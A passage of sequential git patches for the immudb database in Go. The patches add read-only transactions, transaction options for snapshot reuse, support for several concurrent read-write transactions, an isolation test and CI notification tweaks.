waitUntilTx := req.SinceTx - if waitUntilTx == 0 { - waitUntilTx = currTxID - } - - if !req.NoWait { - err := d.st.WaitForIndexingUpto(waitUntilTx, nil) - if err != nil { - return nil, err - } - } - limit := int(req.Limit) if req.Limit == 0 { limit = d.maxResultSize } - snap, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) - if err != nil { - return nil, err - } - defer snap.Close() - seekKey := req.SeekKey if len(seekKey) > 0 { @@ -74,6 +56,12 @@ func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { endKey = EncodeKey(req.EndKey) } + snap, err := d.snapshotSince(req.SinceTx) + if err != nil { + return nil, err + } + defer snap.Close() + r, err := snap.NewKeyReader( store.KeyReaderSpec{ SeekKey: seekKey, diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 2820f97341..36cb2fada1 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -120,24 +120,6 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { return nil, ErrIllegalArguments } - waitUntilTx := req.SinceTx - if waitUntilTx == 0 { - waitUntilTx = currTxID - } - - if !req.NoWait { - err := d.st.WaitForIndexingUpto(waitUntilTx, nil) - if err != nil { - return nil, err - } - } - - snap, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) - if err != nil { - return nil, err - } - defer snap.Close() - prefix := make([]byte, 1+setLenLen+len(req.Set)) prefix[0] = SortedSetKeyPrefix binary.BigEndian.PutUint64(prefix[1:], uint64(len(req.Set))) @@ -173,6 +155,12 @@ func (d *db) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { binary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey):], req.SeekAtTx) } + snap, err := d.snapshotSince(req.SinceTx) + if err != nil { + return nil, err + } + defer snap.Close() + r, err := snap.NewKeyReader( store.KeyReaderSpec{ SeekKey: seekKey, diff --git a/pkg/database/sql.go b/pkg/database/sql.go index f56c15a5c3..6a51e52fe1 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -327,8 +327,8 @@ func (d *db) DescribeTable(tableName string, tx *sql.SQLTx) (*schema.SQLQueryRes return res, nil } -func (d *db) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) { - return d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) +func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) { + return d.sqlEngine.NewTx(ctx, opts) } func (d *db) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { From 69ae78695d740279c9d8c89cb8f00dd7e8684164 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:08:34 -0300 Subject: [PATCH 0094/1062] chore(pkg/server): support snapshot reuse Signed-off-by: Jeronimo Irazabal --- pkg/server/db_dummy_closed.go | 2 +- pkg/server/db_dummy_closed_test.go | 2 +- pkg/server/multidb_handler.go | 10 +++- .../internal/transactions/transactions.go | 14 +---- .../transactions/transactions_test.go | 3 +- pkg/server/sessions/manager.go | 2 - pkg/server/sessions/session.go | 55 +++++-------------- pkg/server/sql.go | 5 +- pkg/server/transaction.go | 27 +++++++-- 9 files changed, 51 insertions(+), 69 deletions(-) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index d255b55bca..74ea67cefe 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -144,7 +144,7 @@ func (db *closedDB) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) { +func (db *closedDB) NewSQLTx(ctx context.Context, _ *sql.TxOptions) (*sql.SQLTx, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index a8d295678f..adb0de275b 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -95,7 +95,7 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.ZScan(nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.NewSQLTx(nil) + _, err = cdb.NewSQLTx(nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, _, err = cdb.SQLExec(nil, nil) diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 854f7e0852..274087eb37 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -65,13 +65,19 @@ func (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) { return dbs, nil } -func (h *multidbHandler) ExecPreparedStmts(ctx context.Context, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { +func (h *multidbHandler) ExecPreparedStmts( + ctx context.Context, + opts *sql.TxOptions, + stmts []sql.SQLStmt, + params map[string]interface{}, +) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { + db, err := h.s.getDBFromCtx(ctx, "SQLExec") if err != nil { return nil, nil, err } - tx, err := db.NewSQLTx(ctx) + tx, err := db.NewSQLTx(ctx, opts) if err != nil { return nil, nil, err } diff --git a/pkg/server/sessions/internal/transactions/transactions.go b/pkg/server/sessions/internal/transactions/transactions.go index 1f71f6953a..4df3b699b9 100644 --- a/pkg/server/sessions/internal/transactions/transactions.go +++ b/pkg/server/sessions/internal/transactions/transactions.go @@ -30,14 +30,12 @@ type transaction struct { mutex sync.RWMutex transactionID string sqlTx *sql.SQLTx - txMode schema.TxMode db database.DB sessionID string } type Transaction interface { GetID() string - GetMode() schema.TxMode IsClosed() bool Rollback() error Commit() ([]*sql.SQLTx, error) @@ -46,10 +44,10 @@ type Transaction interface { SQLQuery(request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) } -func NewTransaction(ctx context.Context, mode schema.TxMode, db database.DB, sessionID string) (*transaction, error) { +func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) { transactionID := xid.New().String() - tx, err := db.NewSQLTx(ctx) + tx, err := db.NewSQLTx(ctx, opts) if err != nil { return nil, err } @@ -62,7 +60,6 @@ func NewTransaction(ctx context.Context, mode schema.TxMode, db database.DB, ses return &transaction{ sqlTx: sqlTx, transactionID: transactionID, - txMode: mode, db: db, sessionID: sessionID, }, nil @@ -75,13 +72,6 @@ func (tx *transaction) GetID() string { return tx.transactionID } -func (tx *transaction) GetMode() schema.TxMode { - tx.mutex.RLock() - defer tx.mutex.RUnlock() - - return tx.txMode -} - func (tx *transaction) IsClosed() bool { tx.mutex.RLock() defer tx.mutex.RUnlock() diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index ada18d5142..2fbce82583 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -23,7 +23,6 @@ import ( "testing" "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" @@ -37,7 +36,7 @@ func TestNewTx(t *testing.T) { db, err := database.NewDB("db1", nil, database.DefaultOption().WithDBRootPath(path), logger.NewSimpleLogger("logger", os.Stdout)) require.NoError(t, err) - tx, err := NewTransaction(context.Background(), schema.TxMode_ReadWrite, db, "session1") + tx, err := NewTransaction(context.Background(), sql.DefaultTxOptions(), db, "session1") require.NoError(t, err) require.NotNil(t, tx) diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index 11fcd16418..3563e216bb 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -149,8 +149,6 @@ func (sm *manager) deleteSession(sessionID string) error { return err } - sess.SetReadWriteTxOngoing(false) - return nil } diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 09a2645535..ca85dfe8fd 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -21,8 +21,9 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/multierr" - "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/logger" @@ -31,15 +32,14 @@ import ( ) type Session struct { - mux sync.RWMutex - id string - user *auth.User - database database.DB - creationTime time.Time - lastActivityTime time.Time - readWriteTxOngoing bool - transactions map[string]transactions.Transaction - log logger.Logger + mux sync.RWMutex + id string + user *auth.User + database database.DB + creationTime time.Time + lastActivityTime time.Time + transactions map[string]transactions.Transaction + log logger.Logger } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { @@ -55,25 +55,11 @@ func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Lo } } -func (s *Session) NewTransaction(ctx context.Context, mode schema.TxMode) (transactions.Transaction, error) { +func (s *Session) NewTransaction(ctx context.Context, opts *sql.TxOptions) (transactions.Transaction, error) { s.mux.Lock() defer s.mux.Unlock() - if mode == schema.TxMode_WriteOnly { - // only in key-value mode, in sql we read catalog and write to it - return nil, ErrWriteOnlyTXNotAllowed - } - if mode == schema.TxMode_ReadOnly { - return nil, ErrReadOnlyTXNotAllowed - } - if mode == schema.TxMode_ReadWrite { - if s.readWriteTxOngoing { - return nil, ErrOngoingReadWriteTx - } - s.readWriteTxOngoing = true - } - - tx, err := transactions.NewTransaction(ctx, mode, s.database, s.id) + tx, err := transactions.NewTransaction(ctx, opts, s.database, s.id) if err != nil { return nil, err } @@ -90,10 +76,7 @@ func (s *Session) RemoveTransaction(transactionID string) error { // not thread safe func (s *Session) removeTransaction(transactionID string) error { - if tx, ok := s.transactions[transactionID]; ok { - if tx.GetMode() == schema.TxMode_ReadWrite { - s.readWriteTxOngoing = false - } + if _, ok := s.transactions[transactionID]; ok { delete(s.transactions, transactionID) return nil } @@ -210,15 +193,3 @@ func (s *Session) GetCreationTime() time.Time { defer s.mux.RUnlock() return s.creationTime } - -func (s *Session) GetReadWriteTxOngoing() bool { - s.mux.RLock() - defer s.mux.RUnlock() - return s.readWriteTxOngoing -} - -func (s *Session) SetReadWriteTxOngoing(b bool) { - s.mux.Lock() - defer s.mux.Unlock() - s.readWriteTxOngoing = b -} diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 98afe2b5a6..c2b6447688 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -19,6 +19,7 @@ package server import ( "context" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" ) @@ -65,7 +66,7 @@ func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return nil, err } - tx, err := db.NewSQLTx(ctx) + tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions()) if err != nil { return nil, err } @@ -113,7 +114,7 @@ func (s *ImmuServer) SQLQuery(ctx context.Context, req *schema.SQLQueryRequest) return nil, err } - tx, err := db.NewSQLTx(ctx) + tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } diff --git a/pkg/server/transaction.go b/pkg/server/transaction.go index f38a1d8484..30e8d7e3a6 100644 --- a/pkg/server/transaction.go +++ b/pkg/server/transaction.go @@ -18,8 +18,11 @@ package server import ( "context" + "time" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/server/sessions" "github.com/golang/protobuf/ptypes/empty" ) @@ -32,12 +35,30 @@ func (s *ImmuServer) NewTx(ctx context.Context, request *schema.NewTxRequest) (* return nil, ErrNotAllowedInMaintenanceMode } + if request.Mode == schema.TxMode_WriteOnly { + // only in key-value mode, in sql we read catalog and write to it + return nil, sessions.ErrWriteOnlyTXNotAllowed + } + sess, err := s.SessManager.GetSessionFromContext(ctx) if err != nil { return nil, err } - tx, err := sess.NewTransaction(ctx, request.Mode) + opts := sql.DefaultTxOptions(). + WithReadOnly(request.Mode == schema.TxMode_ReadOnly) + + if request.SnapshotMustIncludeTxID != nil { + opts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 { + return request.SnapshotMustIncludeTxID.GetValue() + }) + } + + if request.SnapshotRenewalPeriod != nil { + opts.WithSnapshotRenewalPeriod(time.Duration(request.SnapshotRenewalPeriod.GetValue()) * time.Millisecond) + } + + tx, err := sess.NewTransaction(ctx, opts) if err != nil { return nil, err } @@ -100,10 +121,6 @@ func (s *ImmuServer) TxSQLExec(ctx context.Context, request *schema.SQLExecReque return new(empty.Empty), err } - if tx.GetMode() != schema.TxMode_ReadWrite { - return new(empty.Empty), ErrReadWriteTxNotOngoing - } - res := tx.SQLExec(request) if tx.IsClosed() { From c840375e37e38b43415768d3eaa32cc64f9142fa Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:19:40 -0300 Subject: [PATCH 0095/1062] test(pkg/integration): support for multiple readwrite txs Signed-off-by: Jeronimo Irazabal --- pkg/integration/tx/transaction_test.go | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index 2885496d4e..7e43338887 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -123,18 +123,20 @@ func TestTransaction_Rollback(t *testing.T) { require.NoError(t, err) } -func TestTransaction_MultipleReadWriteError(t *testing.T) { +func TestTransaction_MultipleReadWriteTransactions(t *testing.T) { _, client := setupTest(t) tx1, err := client.NewTx(context.Background()) require.NoError(t, err) tx2, err := client.NewTx(context.Background()) - require.ErrorContains(t, err, "only 1 read write transaction supported at once") - require.Nil(t, tx2) + require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) + + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) } func TestTransaction_ChangingDBOnSessionNoError(t *testing.T) { From 55a51ff328f09506fd87f099e5d76396201b49c4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 28 Dec 2022 09:20:03 -0300 Subject: [PATCH 0096/1062] test(embedded/store): tx isolation test Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 58 ++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index a3a33b3123..6553a6be38 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1371,6 +1371,64 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) }) + + t.Run("transactions should not read data from anothers committed or ongoing transactions since it was created", func(t *testing.T) { + tx1, err := immuStore.NewTx(DefaultTxOptions()) + require.NoError(t, err) + + err = tx1.Delete([]byte("key1")) + require.NoError(t, err) + + err = tx1.Delete([]byte("key2")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx(DefaultTxOptions()) + require.NoError(t, err) + + err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) + require.NoError(t, err) + + tx3, err := immuStore.NewTx(DefaultTxOptions()) + require.NoError(t, err) + + _, err = tx3.Get([]byte("key1")) + require.ErrorIs(t, err, ErrKeyNotFound) + + // ongoing tranactions should not read committed entries since their creation + tx11, err := immuStore.NewTx(DefaultTxOptions()) + require.NoError(t, err) + + err = tx11.Set([]byte("key1"), nil, []byte("value1_tx11")) + require.NoError(t, err) + + _, err = tx11.Commit() + require.NoError(t, err) + // + + _, err = tx3.Get([]byte("key1")) + require.ErrorIs(t, err, ErrKeyNotFound) + + err = tx3.Set([]byte("key1"), nil, []byte("value1_tx3")) + require.NoError(t, err) + + hdr2, err := tx2.Commit() + require.NoError(t, err) + + valRef2, err := immuStore.Get([]byte("key1")) + require.NoError(t, err) + require.NotNil(t, valRef2) + require.Equal(t, hdr2.ID, valRef2.Tx()) + + v2, err := valRef2.Resolve() + require.NoError(t, err) + require.Equal(t, []byte("value1_tx2"), v2) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) } func TestImmudbStoreKVMetadata(t *testing.T) { From 630c7b4e4c37fe2698ac04fa3b9ad993648d09bd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 2 Jan 2023 11:13:38 -0300 Subject: [PATCH 0097/1062] chore(embedded/store): further in-line documentation Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx_options.go | 7 +++++-- embedded/tbtree/tbtree.go | 2 ++ pkg/database/database.go | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go index 46d63190c2..1051142ff0 100644 --- a/embedded/store/ongoing_tx_options.go +++ b/embedded/store/ongoing_tx_options.go @@ -30,9 +30,12 @@ const ( ) type TxOptions struct { - Mode TxMode + Mode TxMode + // SnapshotMustIncludeTxID is a function which receives the latest precommitted transaction ID as parameter. + // It gaves the possibility to require a snapshot which includes a percentage of the transactions already indexed. SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 - SnapshotRenewalPeriod time.Duration + // SnapshotRenewalPeriod determines for how long a snaphsot may reuse existent dumped root + SnapshotRenewalPeriod time.Duration } func DefaultTxOptions() *TxOptions { diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index c60f4be9bf..443a5181c6 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1680,6 +1680,8 @@ func (t *TBtree) SnapshotMustIncludeTs(snapshotMustIncludeTs uint64) (*Snapshot, return t.SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs, t.renewSnapRootAfter) } +// SnapshotMustIncludeTsWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). +// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs uint64, snapshotRenewalPeriod time.Duration) (*Snapshot, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() diff --git a/pkg/database/database.go b/pkg/database/database.go index 35467e70b6..c4134b188a 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -858,7 +858,7 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { opts := store.DefaultTxOptions() if req.SinceTx > 0 { - opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + opts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 { return req.SinceTx }) } From 8ed55f74f88d2f8a82d1d5ffb3c164d294603b50 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Fri, 6 Jan 2023 09:22:48 -0300 Subject: [PATCH 0098/1062] feat(ci): change notification Change Mattermost channel. Add duration and immudb version. Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 11 ++++++++--- .github/workflows/stress.yml | 2 +- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 0dd7f5d6a4..a111aae5a7 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -51,7 +51,11 @@ jobs: - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - name: Run performance tests id: performance - run: ./perf-test-suite $ARG_DURATION > perf-test-results.json + run: | + SECONDS=0 + ./perf-test-suite $ARG_DURATION > perf-test-results.json + echo "duration=$SECONDS" >> $GITHUB_ENV + echo "version=$(cat Makefile | grep '\> $GITHUB_ENV - name: Upload test results uses: actions/upload-artifact@v3 with: @@ -61,8 +65,9 @@ jobs: - name: Create the Mattermost message if: github.event.schedule == '0 0 * * *' run: > - echo "{\"text\":\"### Performance tests results for scheduled daily run on branch ${{ github.ref_name }} and runner ${{ matrix.target.name }}\n + echo "{\"text\":\"### Performance tests results for scheduled daily run on ${{ github.ref_name }} branch and ${{ matrix.target.name }} runner\n **Result**: ${{ steps.performance.outcome }}\n + **Duration**: ${{ env.duration }} - **immudb version**: ${{ env.version }}\n $(jq -r '.benchmarks[] | .name + "\n" + .summary' perf-test-results.json) \n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** \"}" > mattermost.json @@ -71,7 +76,7 @@ jobs: uses: mattermost/action-mattermost-notify@master env: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} - MATTERMOST_CHANNEL: 'immudb' + MATTERMOST_CHANNEL: 'immudb-tests' performance-test-suite-upload-s3: if: github.event.schedule != '0 0 * * *' diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index c9903ca204..8acc98d479 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -49,4 +49,4 @@ jobs: uses: mattermost/action-mattermost-notify@master env: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} - MATTERMOST_CHANNEL: 'immudb' + MATTERMOST_CHANNEL: 'immudb-tests' From 36b3aa79273de7d26a3210b29ee445cd8302d495 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 23 Dec 2022 10:49:09 -0300 Subject: [PATCH 0099/1062] feat(embedded/store): read-only transactions Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 1 + embedded/store/ongoing_tx.go | 34 +++++++++++++++++++++++++++++----- 2 files changed, 30 insertions(+), 5 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index e783ea2adb..c4db8f92c2 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -50,6 +50,7 @@ var ErrAlreadyClosed = embedded.ErrAlreadyClosed var ErrUnexpectedLinkingError = errors.New("internal inconsistency between linear and binary linking") var ErrorNoEntriesProvided = errors.New("no entries provided") var ErrWriteOnlyTx = errors.New("write-only transaction") +var ErrReadOnlyTx = errors.New("read-only transaction") var ErrTxReadConflict = errors.New("tx read conflict") var ErrTxAlreadyCommitted = errors.New("tx already committed") var ErrorMaxTxEntriesLimitExceeded = errors.New("max number of entries per tx exceeded") diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 8c74ea7c9e..27b28a1431 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -29,7 +29,7 @@ import ( type OngoingTx struct { st *ImmuStore snap *Snapshot - readOnly bool + readOnly bool // MVCC validations are not needed for read-only transactions entries []*EntrySpec entriesByKey map[[sha256.Size]byte]int @@ -160,6 +160,10 @@ func (tx *OngoingTx) IsWriteOnly() bool { return tx.snap == nil } +func (tx *OngoingTx) IsReadOnly() bool { + return tx.readOnly +} + func (tx *OngoingTx) WithMetadata(md *TxMetadata) *OngoingTx { tx.metadata = md return nil @@ -178,6 +182,10 @@ func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { return ErrAlreadyClosed } + if tx.readOnly { + return ErrReadOnlyTx + } + if len(key) == 0 { return ErrNullKey } @@ -247,6 +255,14 @@ func (tx *OngoingTx) mvccReadSetLimitReached() bool { } func (tx *OngoingTx) Delete(key []byte) error { + if tx.closed { + return ErrAlreadyClosed + } + + if tx.readOnly { + return ErrReadOnlyTx + } + valRef, err := tx.Get(key) if err != nil { return err @@ -277,7 +293,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, } valRef, err := tx.snap.GetWithFilters(key, filters...) - if errors.Is(err, ErrKeyNotFound) { + if !tx.readOnly && errors.Is(err, ErrKeyNotFound) { expectedGet := expectedGet{ key: cp(key), filters: filters, @@ -294,7 +310,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, err } - if valRef.Tx() > 0 { + if !tx.readOnly && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGet := expectedGet{ key: cp(key), @@ -327,7 +343,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt } key, valRef, err = tx.snap.GetWithPrefixAndFilters(prefix, neq, filters...) - if errors.Is(err, ErrKeyNotFound) { + if !tx.readOnly && errors.Is(err, ErrKeyNotFound) { expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), neq: cp(neq), @@ -345,7 +361,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, err } - if valRef.Tx() > 0 { + if !tx.readOnly && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), @@ -375,6 +391,10 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return nil, ErrWriteOnlyTx } + if tx.readOnly { + return tx.snap.NewKeyReader(spec) + } + return newOngoingTxKeyReader(tx, spec) } @@ -391,6 +411,10 @@ func (tx *OngoingTx) commit(waitForIndexing bool) (*TxHeader, error) { return nil, ErrAlreadyClosed } + if tx.readOnly { + return nil, ErrReadOnlyTx + } + if !tx.IsWriteOnly() { err := tx.snap.Close() if err != nil { From 6f1b1ec43e389ab5b6f36bf6d7fd2f2fdc6fbb13 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 27 Dec 2022 17:52:33 -0300 Subject: [PATCH 0100/1062] chore(embedded/tbtree): wip optimized insertion Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/snapshot.go | 2 +- embedded/tbtree/tbtree.go | 322 +++++++++++++++------------------ embedded/tbtree/tbtree_test.go | 2 +- 3 files changed, 149 insertions(+), 177 deletions(-) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 7308b3bd94..dc0f7d22bc 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -53,7 +53,7 @@ func (s *Snapshot) Set(key, value []byte) error { v := make([]byte, len(value)) copy(v, value) - nodes, depth, err := s.root.insertAt(k, v, s.ts) + nodes, depth, err := s.root.insertAt([]*KV{{K: k, V: v}}, s.ts) if err != nil { return err } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 443a5181c6..bc922d1373 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -225,7 +225,7 @@ type pathNode struct { } type node interface { - insertAt(key []byte, value []byte, ts uint64) ([]node, int, error) + insertAt(sortedKVs []*KV, ts uint64) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) @@ -1562,7 +1562,9 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { return ErrIllegalArguments } - for _, kv := range kvs { + sortedKVs := make([]*KV, len(kvs)) + + for i, kv := range kvs { if kv == nil || kv.K == nil || kv.V == nil { return ErrIllegalArguments } @@ -1574,11 +1576,22 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { if len(kv.V) > t.maxValueSize { return ErrorMaxValueSizeExceeded } + + k := make([]byte, len(kv.K)) + copy(k, kv.K) + + v := make([]byte, len(kv.V)) + copy(v, kv.V) + + sortedKVs[i] = &KV{ + K: k, + V: v, + } } // sort entries to increase cache hits - sort.Slice(kvs, func(i, j int) bool { - return bytes.Compare(kvs[i].K, kvs[j].K) < 0 + sort.Slice(sortedKVs, func(i, j int) bool { + return bytes.Compare(sortedKVs[i].K, sortedKVs[j].K) < 0 }) t.rwmutex.Lock() @@ -1603,42 +1616,34 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { ts := t.root.ts() + 1 - for _, kv := range kvs { - k := make([]byte, len(kv.K)) - copy(k, kv.K) - - v := make([]byte, len(kv.V)) - copy(v, kv.V) + nodes, depth, err := t.root.insertAt(sortedKVs, ts) + if err != nil { + return err + } - nodes, depth, err := t.root.insertAt(k, v, ts) - if err != nil { - return err + for len(nodes) > 1 { + newRoot := &innerNode{ + t: t, + nodes: nodes, + _ts: ts, + mut: true, } - for len(nodes) > 1 { - newRoot := &innerNode{ - t: t, - nodes: nodes, - _ts: ts, - mut: true, - } - - depth++ + depth++ - nodes, err = newRoot.split() - if err != nil { - return err - } + nodes, err = newRoot.split() + if err != nil { + return err } + } - t.root = nodes[0] + t.root = nodes[0] - metricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth)) + metricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth)) - t.insertionCountSinceFlush++ - t.insertionCountSinceSync++ - t.insertionCountSinceCleanup++ - } + t.insertionCountSinceFlush += len(sortedKVs) + t.insertionCountSinceSync += len(sortedKVs) + t.insertionCountSinceCleanup += len(sortedKVs) if t.insertionCountSinceFlush >= t.flushThld { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "BulkInsert") @@ -1760,63 +1765,93 @@ func (t *TBtree) snapshotClosed(snapshot *Snapshot) error { return nil } -func (n *innerNode) insertAt(key []byte, value []byte, ts uint64) (nodes []node, depth int, err error) { - if !n.mutated() { - return n.copyOnInsertAt(key, value, ts) +func (n *innerNode) insertAt(sortedKVs []*KV, ts uint64) (nodes []node, depth int, err error) { + if n.mutated() { + return n.updateOnInsertAt(sortedKVs, ts) } - return 